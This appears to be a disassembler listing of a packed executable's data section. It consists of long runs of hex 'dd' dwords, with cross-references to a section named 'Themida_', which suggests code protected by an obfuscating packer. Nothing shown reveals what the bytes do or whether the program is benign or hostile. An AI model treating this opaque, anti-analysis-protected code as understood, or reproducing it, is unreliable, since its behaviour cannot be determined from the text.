		dd 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h
		dd 3468783Ch, 89000008h, 0E2892414h, 4C281h, 0EA830000h
		dd 24148704h, 53A6685Ch, 3C890000h, 68C66824h, 14890000h
		dd 7CB85024h, 400C031Ch, 0F593548h, 0E8C1657Eh,	233B0508h
		dd 815005B0h, 7A792434h, 815F2A9Ah, 9A7A79F7h, 0F668582Ah
		dd 8900002Fh, 4832424h,	575A0424h, 0DE240481h, 8F4C6655h
		dd 0BD550842h, 4C6655DEh, 5D086A29h, 5624148Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4835F24h,	0D8E8E904h
		dd 82F9FFFBh, 93F0E22Fh, 3EA7BCD3h, 0B8E340CFh,	619A4DBh
		dd 0E0FFC503h, 32D07A66h, 3CCE9932h, 253EAA25h,	7CB142CAh
		dd 2D2290C7h, 7D64CFE1h, 1E59221Eh, 66118556h, 45EAF48Fh
		dd 15FA55D3h, 3A27AA78h, 6417AC0Dh, 4AA1AFEFh, 61FC0BADh
		dd 24D56A4Ah, 4426D601h, 75FF40DCh, 6DA14D00h, 18D6F7CEh
		dd 11F6C82Bh, 5FAEB268h, 1F5ADEAFh, 7A579F79h, 130FBABEh
		dd 56EF4BF8h, 41802100h, 279D858Dh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B66D9C3h
		dd 18589DEh, 90061501h,	88FEBB66h, 0EE950h, 5E5C0000h
		dd 6B408742h, 8BAB01F3h, 0A4840F68h, 52006A90h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0DF04A260h
		dd 1EB576F0h, 8D2915C2h, 61506F1h, 33B18D09h, 6A0615h
		dd 10619D8Bh, 6A0615h, 0C7DF8166h, 75858D47h, 0F90619A7h
		dd 8905C083h, 1510FD85h, 0BFB75006h, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 6BFFC351h, 5DEBCC90h, 26B18529h, 0B5890615h,	6152DE9h
		dd 8B66006Ah, 0F006ADAh, 95FFD9BFh, 6152679h, 0B8F0Fh
		dd 6E90000h, 41000000h,	322908D2h, 158D8DBEh, 6A06189Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6047C353h, 1BDB589h, 8D8B0615h, 61517C9h
		dd 66D1FF61h, 6742CF81h, 2DB5BD83h, 0F010615h, 5F85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 26A401Ch, 346DBD8Bh,	0F88B0615h, 50FC8A90h, 6860F90h
		dd 29000000h, 151675BDh, 4D95FF06h, 6A06151Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0F383C351h, 5F569C19h, 0D01E9h, 0E800h, 815D0000h, 19A77FEDh
		dd 198D0F06h, 0E8000000h, 0Dh, 0FFB48686h, 85A9B54h, 79526621h
		dd 298D893Bh, 5B061517h, 6840Fh, 95290000h, 6152D61h, 88F9858Dh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9A04BFC3h, 1DDD8D89h, 11E90615h, 0BE000000h
		dd 37DCBEF5h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 89D98B50h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0CA724CC3h, 0BC69122Eh, 219D8B15h, 64061503h
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0B2B0CCC3h, 0E3207BCDh
		dd 0ED8D89E2h, 8B061518h, 15269DBDh, 25896406h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1FC35646h
		dd 8AD88BC1h, 3585FFFEh, 6A061515h, 0BE9FFh, 7FB40000h
		dd 2F0C3787h, 687C2E4Ch, 0EDB5FFC6h, 6A061533h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 465EC353h, 0FF91EEB5h, 1508BD95h, 117E906h, 0B00000h
		dd 2C65BD8Bh, 70E60615h, 8D0Fh,	0BF0F0000h, 0E971E4DEh
		dd 14h,	806B0F15h, 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h
		dd 830F613Ch, 0E1h, 0CF781F8h, 0F0E79B3h, 840FC8B6h, 3
		dd 0BA64DF80h, 6, 1DC99509h, 85290615h,	6150109h, 0B589C18Bh
		dd 6151DFDh, 3104E8C1h,	15280DBDh, 0E2F76606h, 13E9h, 68A15000h
		dd 7BCE50B5h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 8531C82Bh
		dd 615037Dh, 6E9D18Bh, 6D000000h, 1FE24CC3h, 0E918h, 858B0000h
		dd 61519C1h, 83DA8B66h,	0B58907C0h, 61512ADh, 911BD8Bh
		dd 0C0830615h, 0C58D0900h, 3B06152Fh, 10830FD0h, 66000000h
		dd 3A05F381h, 44E9h, 0FDBD3300h, 8B061516h, 1511698Dh
		dd 159D8906h, 83061521h, 840F01E1h, 29h, 35207ABFh, 69A5836Bh
		dd 0FE061511h, 6840Fh, 9D890000h, 61524B1h, 19C19589h
		dd 0BD230615h, 61518FDh, 0E9h, 0C7B58D00h, 0E9061920h
		dd 7, 0F11B9F04h, 6AF63540h, 0FFDA8A00h, 152E2195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5DD68F33h, 0B916FAECh, 7FCh,	6E9h, 11187400h, 83F3CED8h
		dd 9D8BFCE1h, 6152DB9h,	898589FCh, 2B06150Dh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 90CAF4DAh, 0BB7804D5h, 14E29E2Ah, 61EBBB66h,	0CE9D22Bh
		dd 0F4000000h, 785F1A21h, 0CBABC179h, 0AD299CD1h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 2E45C353h, 0F8062CDBh
		dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 8BCF8F02h, 52AC06FCh, 95092557h
		dd 6150771h, 2961BD8Bh,	958B0615h, 6152721h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7BC35646h, 0C18D89AEh
		dd 8B06150Fh, 1504CD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 2E388FB5h, 0A851E150h
		dd 2DA19D89h, 8B500615h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6AF88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 22D51EC3h, 3959D8Bh, 9D8B0615h
		dd 6151345h, 18A9BD83h,	0F000615h, 9684h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0CD22884Ch, 834B9CEBh, 0BB663735h, 0B8711Fh,	8D000000h
		dd 154F9E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0FE901C6h, 88000000h, 0F1FF3770h
		dd 1573757Ch, 8226366Bh, 0E1FFE3E6h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 2DC35747h, 352D7A32h, 27AC71B1h
		dd 4DBD8BE1h, 66061502h, 835B3DBFh, 151115BDh, 840F0006h
		dd 379h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0AC35242h, 83FA9F1Dh, 151115BDh, 840F0106h, 368h
		dd 1FB1BB66h, 1115BD83h, 0F030615h, 32186h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 5B3328Ah, 8E860h, 1E7B0000h,	673CD488h, 0BF60DD96h
		dd 5F2B0397h, 0F4DF8166h, 665F611Ch, 0BB3D98Ch,	6604E180h
		dd 0FCEDD381h, 840FC90Ah, 116h,	87EBBB66h, 249D858Bh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 2F104DC3h, 0CD18589h, 85330615h, 61519B5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C2C35242h, 7139A374h
		dd 66739AA4h, 5CB7F781h, 0D7BB6690h, 6A905029h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A652C352h, 0D355F054h, 3BA8A69Eh, 11E9h, 10C7D300h
		dd 0D2A96979h, 3034CAE0h, 5B3A6938h, 6A12EBh, 921BD23h
		dd 58680615h, 50ADC7ABh, 4876BF66h, 2404815Bh, 525758A7h
		dd 24019529h, 95FF0615h, 6150DADh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0B6C35242h,	0E5BD8BBDh, 8906150Ch
		dd 18BF9985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 7D8D8997h, 0E9061505h, 151h, 858BFB8Bh
		dd 618BF91h, 810CD381h,	0C740E1h, 18h, 2A2D8529h, 8D890615h
		dd 6151A05h, 0BF95B58Bh, 0BF0F0618h, 45858BF8h,	0B06150Ch
		dd 1504B9BDh, 89FE8B06h, 0CF816606h, 858B7CFDh,	615249Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h
		dd 0D60DE9D3h, 0F79FE43h, 385h,	49F38000h, 89FBB70Fh, 66500446h
		dd 896701BBh, 0BF0F2434h, 0DB8166D9h, 0B5FFCFCFh, 618BF91h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 86C35040h
		dd 2E68EE10h, 0F1B393Dh, 28Fh, 81F88A00h, 3ED12434h, 6A1B26h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4A32DDC3h, 5C433CD0h, 8D67B3D8h, 18BF9985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4D5F5564h, 18ADE515h, 10E94EB0h, 58000000h, 42971A69h
		dd 378950C6h, 632C14Eh,	9092438Ah, 9050D88Bh, 0DAD95FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0E484CFC3h, 80E78166h, 0C38161BDh, 7E942B9h
		dd 2EB98589h, 85C70615h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 10C35545h, 7D4E7B03h, 8B332880h
		dd 151005BDh, 99BD8306h, 618BFh, 20840Fh, 0E9530000h, 8
		dd 8EF9DC28h, 0BB7CCFAAh, 0B589515Fh, 6152DE9h,	1FE95Fh
		dd 0BF660000h, 3050F260h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 6AF5C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 4DE913C3h, 0FEBF3C6Fh
		dd 837C9B1Ch, 151115BDh, 850F0306h, 444h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0F6C35343h, 0BD21A1FBh
		dd 10FD8D89h, 0BD830615h, 618BF99h, 11840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0F545C351h, 0B97F8693h
		dd 2B159D8Bh, 0B5FF0615h, 618BF99h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 0B1F39B5Bh, 0BD2B5DA7h
		dd 61525C5h, 26359531h,	95FF0615h, 61510E1h, 9573BB66h
		dd 0BF8DB58Bh, 9D030618h, 6150679h, 106C7h, 9D310001h
		dd 61504E5h, 6FBF5096h,	9645BF59h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 52C35040h, 405C8B6Fh, 1449BD09h
		dd 0BE90615h, 45000000h, 0D88EB7A2h, 6CBC6AA5h,	0B5FFAAD9h
		dd 618BF99h, 0FF25D780h, 1506A195h, 9D895606h, 615006Dh
		dd 8DB58B5Bh, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0F3C9C356h,	0F018C7Fh
		dd 680h, 0D6EB8100h, 812683A8h,	22AE98C7h, 59858B73h, 6A061500h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0AD7FC353h, 85D5D31Ah, 0E9A2E588h, 0Dh, 4581E395h
		dd 3572B953h, 0A465D20h, 0C4868974h, 66000000h,	4EACC781h
		dd 2721958Bh, 8B600615h, 150C89B5h, 95BD8B06h, 61061523h
		dd 0F804C283h, 6A205089h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 7E8CC351h, 13C697BEh
		dd 619D8B1Bh, 8D061500h, 18D45885h, 0E99D8B06h,	89061503h
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 19AA6880h, 22F59D89h, 0DD8A0615h
		dd 8B66006Ah, 99B5FFFEh, 6A0618BFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2BEAC355h
		dd 1D4D95FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 6116B1C3h, 3B008F8Dh, 2E119D8Bh
		dd 89500615h, 0BD232434h, 61507E5h, 0BF99B5FFh,	6A0618h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3B8D55C3h, 0BFF59958h, 72995FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2AC01EC3h
		dd 65BD3352h, 0BF06150Dh, 1F9DA145h, 65BD83h, 0F000615h
		dd 4184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0D84DC8DCh, 585901Ah, 85314BB7h
		dd 61518E5h, 7A6EBB66h,	2B57BB96h, 565007CBh, 965BCCB3h
		dd 3429BD8Bh, 0B5FF0615h, 618BF99h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 11C35040h, 2D6759A5h, 608AE520h
		dd 13BB6643h, 3995FF0Dh, 6A061504h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9DCAC350h
		dd 0DBA38E90h, 0FFD8B70Fh, 18BF99B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 95FF5363h, 6150DCDh,	2F6D9D01h, 0BD830615h, 615285Dh
		dd 7D840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 4EC357h, 0F496A40h
		dd 1984h, 14E900h, 0DCC70000h, 5999A46Eh, 0BEE58CA3h, 17698F4Ch
		dd 1F16B7BAh, 0F568A2Ch, 8B5BDAB7h, 15284985h, 38B0F06h
		dd 0F000000h, 0C6D9B7h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 1ECEDD81h, 0F781F8E5h
		dd 81EE912h, 23F585C7h,	615h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 5B9EEEC3h
		dd 0D98B694Fh, 0FFF432E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8B2B53h
		dd 6152835h, 0BF66C18Bh
		db 0Bh,	69h
word_5C4EAA	dw 858Dh		; DATA XREF: Themida_:0057CDF0o
		dd 615279Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	8CC35545h, 0C4838CA1h, 6E1BA6E3h, 85316069h, 615251Dh
		dd 6810Fh, 85890000h, 6153001h,	8B609061h, 0B5BA60DAh
		dd 615ED21Dh, 0F4B75061h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9531870Fh
		dd 6151821h, 0DB81006Ah, 516219BBh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 85895EC3h
		dd 6152249h, 0B6D2858Dh, 6A0619h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0C08323C3h, 11E805h
		dd 1C8C0000h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 66E523CEh
		dd 5BF49ABFh, 6A905090h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E5E3C351h,	8509666Bh
		dd 61500E1h, 2F559589h,	6A0615h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DAC35343h,	12E97B6Ah, 0CF000000h
		dd 6FDBBF29h, 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah, 0F781667Ah
		dd 6AE6D3h, 20D5BD8Bh, 95FF0615h, 6152679h, 161DB589h
		dd 8D8D0615h, 6189C15h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0CDC35343h, 1D3977ABh, 0C5DB0D0Ch, 6AD1FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 3544F7C3h, 600CFAC2h, 290940F5h, 152EFD9Dh, 0B5BD8306h
		dd 106152Dh, 97850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B2FA6C3h, 0FB8B66DEh
		dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 864EE2C3h, 8B1881CCh, 1505DDBDh, 8BBF6606h
		dd 4895057h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 22024028h, 0F320F781h, 0BB664EB5h
		dd 0AE9ECEEh, 0F7000000h, 59BF37B0h, 1125E359h,	4D95FF43h
		dd 8B06151Dh, 150A4DBDh, 0DC4E906h
		db 2 dup(0)
word_5C5106	dw 0E8h			; DATA XREF: Themida_:00579B10o
		dd 5D000000h, 0B6DCED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0CB185EC3h, 26C9BD8Bh
		dd 8E90615h, 0BF000000h, 7D8FA095h, 8DED6E17h, 1888F985h
		dd 4895006h, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0BE1AC69Ch, 8E91Bh, 0DB60000h, 466F976Dh
		dd 0FF6456F4h, 35h, 820F6000h, 2, 6461CE8Bh, 2589h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 8B181EC3h, 89907F67h, 1500618Dh, 29525006h, 15262DBDh
		dd 0FF5B5F06h, 15153585h, 6CCF8006h, 0BB66FF6Ah, 0B5FF6C68h
		dd 61502B5h, 5870Fh, 8BBB0000h,	0FF09F039h, 1508BD95h
		dd 125E906h, 0D7810000h, 9CD6505h, 0E6F500B0h, 0EE870h
		dd 71870000h, 72F6E92Ah, 82C654BCh, 51EFE146h, 898D0150h
		dd 5F061533h, 6671E45Fh, 3CE252BBh, 0F0830F61h,	2B000000h
		dd 1517259Dh, 0C8B60F06h, 6BAFB8Bh, 53000000h, 0F99D8B5Fh
		dd 8B06152Ah, 59589C1h,	89061525h, 151E7D85h, 4E8C106h
		dd 0F766FAB3h, 599D01E2h, 2B061506h, 0DEBF0FC8h, 0D18BDE8Bh
		dd 13E9h, 867B7B00h, 6EAB5E97h,	99191639h, 0F1ED4C04h
		dd 7C2BD2E2h, 5E9h, 0F7816600h,	858B5A56h, 6150C8Dh, 6860F60h
		dd 31000000h, 1511B9BDh, 8E906h, 82AA0000h, 0AF0A4342h
		dd 83614F0Bh, 5BB07C0h,	833FEC0Fh, 8B6600C0h, 0FD03BFBh
		dd 2483h, 11E800h, 0D3D80000h, 483E3613h, 6E6199DCh, 37349FD7h
		dd 662AC893h, 5F018BBFh, 3AE9h,	0CDBF6600h, 0E58D8B23h
		dd 29061515h, 150BB1B5h, 1E18306h, 21840Fh, 31570000h
		dd 150D718Dh, 0A5835F06h, 61515E5h, 66D780FEh, 9589DA8Bh
		dd 6150C8Dh, 0E9DA8Bh, 8D000000h, 192A47B5h, 11E906h, 0A0450000h
		dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 66AC0F00h, 6A886ABBh
		dd 0FFD98B00h, 152E2195h, 398D8906h, 0B906152Fh, 842h
		dd 13E9h, 75A6B500h, 1F64CDE5h,	63270E6Ah, 3BAF3A65h, 55AD6B2h
		dd 0E9FCE183h, 6, 0DD80B8AFh, 8BFC4237h, 1506B1BDh, 0B806h
		dd 95290000h, 6151391h,	0BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 85F74023h
		dd 0DB2BBF66h, 2CDBD8Bh, 33AD0615h, 3E8D1C2h, 4E983D0h
		dd 0B70FF475h, 50006ADAh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 706143EFh, 369C88D6h
		dd 880D8E11h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 6B2AC351h, 0BB66AF5Dh
		dd 958BFB6Bh, 6152721h,	8E8F88Bh, 0DE000000h, 1999E45Dh
		dd 0E8AA83CAh, 10h, 0B0E1E1C0h,	5F059D71h, 0FA0140BDh
		dd 0F7D471C9h, 0B204BF66h, 8D8B5B5Bh, 61504CDh,	325BB66h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BF0F5818h
		dd 57006AD9h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F54234ACh, 1D48352Ah, 0A9BD83C5h, 61518h
		dd 7C840Fh, 14E90000h, 0C3000000h, 0EED2B7C6h, 0D48C44B0h
		dd 6A108220h, 3AB19CF9h, 0B82CA453h, 0
		dd 19BD3160h, 61061527h, 4F9E8D8Dh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FA14E9C3h
		dd 0BD8B1A6Eh, 6152D6Dh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0FB8B17C3h, 5E9h, 1166EE00h
		dd 0BD83149Eh, 6151115h, 78840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0EB11C353h, 0CCA4F320h, 0E4BF3A5Fh, 836F1DF8h, 151115BDh
		dd 840F0106h, 45Eh, 24A59589h, 0BD830615h, 6151115h, 15860F03h
		dd 23000004h, 15101D9Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0CE972C3h, 35000000h
		dd 6673B013h, 826B61CCh, 0E964F239h, 0Ch, 0C3A61B5Eh, 8EA6DC7Fh
		dd 0AA57A119h, 66D98C66h, 0E180D88Bh, 7B6DBF04h, 0C90A3421h
		dd 146840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 172CFAC3h, 13E8h, 3B814100h, 144F505Ch
		dd 4F7C6370h, 0F6D4CA80h, 328D82B7h, 59CB8166h,	858B5BE8h
		dd 615249Dh, 850EF0BBh,	0B585337Ch, 6A061519h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AE56C351h, 0B65CE155h, 0E4738EE0h, 0FFAB70Fh, 8B90FFB7h
		dd 0BE950F8h, 47000000h, 9DE1649Fh, 5410A75h, 6A906D0Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 4F2C357h,	0CDBE742Fh, 8589272Fh, 61514D9h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 7A02A8C3h, 0E039009Dh, 3D8589EBh,	31061502h
		dd 150BDD9Dh, 0CCAF6806h, 8B661069h, 243481F9h,	1076CF50h
		dd 0DE9h, 38FA1600h, 0EB316E73h, 41A00700h, 95FF9343h
		dd 6150DADh, 1CF1B589h,	85890615h, 618BF99h, 7C18531h
		dd 26E90615h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0F5C6C356h,	8C937BD6h
		dd 0BF91858Bh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 55EC26C3h, 1800C7h, 51600000h, 16158D29h
		dd 665E0615h, 61119EBEh, 0BF95B58Bh, 0E9BF0618h, 8B47436Fh
		dd 150C4585h, 0A8E78106h, 8915FB74h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 8C5F2C0h, 0E2B5E292h
		dd 0B503602Eh, 61505B9h, 89619BB2h, 15018DB5h, 9D858B06h
		dd 60061524h, 859501F9h, 6106151Dh, 6A044689h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0FA1DC357h, 0DD0DA6FDh, 0F525096h, 0A81h, 5E900h, 771E0000h
		dd 0FDEAC32h, 0DE8B6631h, 0E950585Ah, 10h, 7B5C14FBh, 0FE0BA0F1h
		dd 614F6371h, 0DF3999C4h, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 606B2F41h
		dd 14E91Ah, 235E0000h, 29E5735h, 2BC81AE0h, 6E271392h
		dd 8658B2FDh, 0DE8D226h, 83000000h, 28469B20h, 77F4AD09h
		dd 797F4638h, 10E9h, 62E89F00h,	98856514h, 0E5C70E4Ah
		dd 57FA8F07h, 0B5FF5F3Dh, 618BF91h, 0D5958B60h,	8106152Ah
		dd 0C3BCDFE3h, 9D8B6176h, 615024Dh, 4E8h, 1F03FF00h, 8DB46000h
		dd 0BB665061h, 448B7545h, 8A570424h, 8B5BDAh, 8B665250h
		dd 5A310FF9h, 24448958h, 61BF6604h, 6A583Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6C6E34C3h
		dd 2435B529h, 858D0615h, 618BF99h, 1E718D09h, 0BF660615h
		dd 8B506E06h, 240489DAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 40C35545h, 8597D33Ch,	7E9D8F2h, 0F000000h
		dd 0FF21935Eh, 95FF13BBh, 6150DADh, 0ECF38166h,	8D896190h
		dd 6150AA9h, 111585C7h,	30615h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F9F489C3h
		dd 0BF99BD83h, 0F000618h, 3384h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B55610Eh
		dd 1533A5BDh, 25E906h, 8B600000h, 15010D9Dh, 61C38A06h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h
		db 0
byte_5C59C9	db 2 dup(0), 20h	; DATA XREF: Themida_:00579CC4o
					; Themida_:0057C730o
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 21C5C350h
		dd 6B14A879h, 8BDFB70Fh, 152FA5BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 8AD7B348h
		dd 0DE904FAh, 2D000000h, 0E065C12Bh, 0CDA93A67h, 67FA3FE0h
		dd 1115BD83h, 0F030615h, 47E85h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 2634EC9h, 99BD83F9h
		dd 618BFh, 451840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0A84D18C3h, 0B589FDA8h
		dd 6151CE5h, 0BF99B5FFh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0A03D31C3h, 1559D8Bh
		dd 95FF0615h, 61510E1h,	27199D8Bh, 0B58B0615h, 618BF8Dh
		dd 0C7ADD380h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 78B83723h, 9E938h, 5C6E0000h
		dd 23857E15h, 9603AA6Ah, 0AE9h,	93FD6900h, 0F927B4CEh
